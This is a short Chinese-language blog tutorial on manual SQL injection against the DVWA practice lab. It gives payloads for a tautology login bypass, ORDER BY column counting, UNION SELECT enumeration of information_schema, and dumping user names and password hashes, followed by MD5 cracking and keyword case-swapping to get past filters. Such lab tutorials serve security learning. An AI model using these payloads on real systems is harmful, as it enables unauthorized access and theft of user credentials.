SQL手动注入解析

作者:震灵

注入环境:DVWA

探测步骤:

1、首先探测是否可以注入以及注入方式

SQL手动注入解析

原SQL语句为

SELECT * FROM xxx WHERE a='';

注入后为

SELECT * FROM xxx WHERE a='' or '1'='1' --;

这样注入有常见情况有两种用途

第一种用途是用于登录,可以用作万能密码直接进入后台

第二种用途是用于查询,若查询出所有内容则代表可以进行注入

此处展示的是第二种用途

2、探测列数

由于接下来要采用union探测内容,而union的规则是必须要列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同

SQL手动注入解析

探测采用order by

SELECT * FROM xxx WHERE a='' ORDER BY 1;

order by 1代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列

3、探测展示位置

SELECT * FROM xxx WHERE a='' UNION SELECT 1,2 ;

SQL手动注入解析

并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果。上述SQL语句在本示例中展示了1,2,代表1,2列被展示在了页面中。因此可以利用1,2列进行注入查询。

4、探测数据库名、表名、列名

SELECT * FROM xxx WHERE a='' UNION SELECT 1,schema_name from information_schema.schemata;

上述SQL语句是查询数据库名的SQL语句,查询表名和列名的语句很类似,翻阅文档即可。

SQL手动注入解析

在探测数据库名、表名、列名的时候需要一些经验,经验不会影响最后的结果,但是经验会影响注入时间。名字如Admin,User的一般有可能是与用户有关的数据库,可以特别关注。

5、探测用户信息

最后一步,探测用户信息。其实有了以前的铺垫,探测用户信息是一个很简单的事情。

SELECT * FROM xxx WHERE a='' UNION SELECT User,Password FROM users ;

通过这一条数据便可以探测出所有用户的信息

SQL手动注入解析

部分数据使用了MD5加密,可以复制到MD5解密网站进行解密

6、更高级的SQL注入

对于有防护措施的程序,需要采用更高级的SQL注入手段进行诸如,比如替换SQL关键字大小写等手段。对于十分优秀的程序,SQL注入的意义就不大了,需要采用更高级的手段进行渗透测试。

上一篇:pycharm中的快捷键和简单设置


下一篇:JSON.stringify实战用法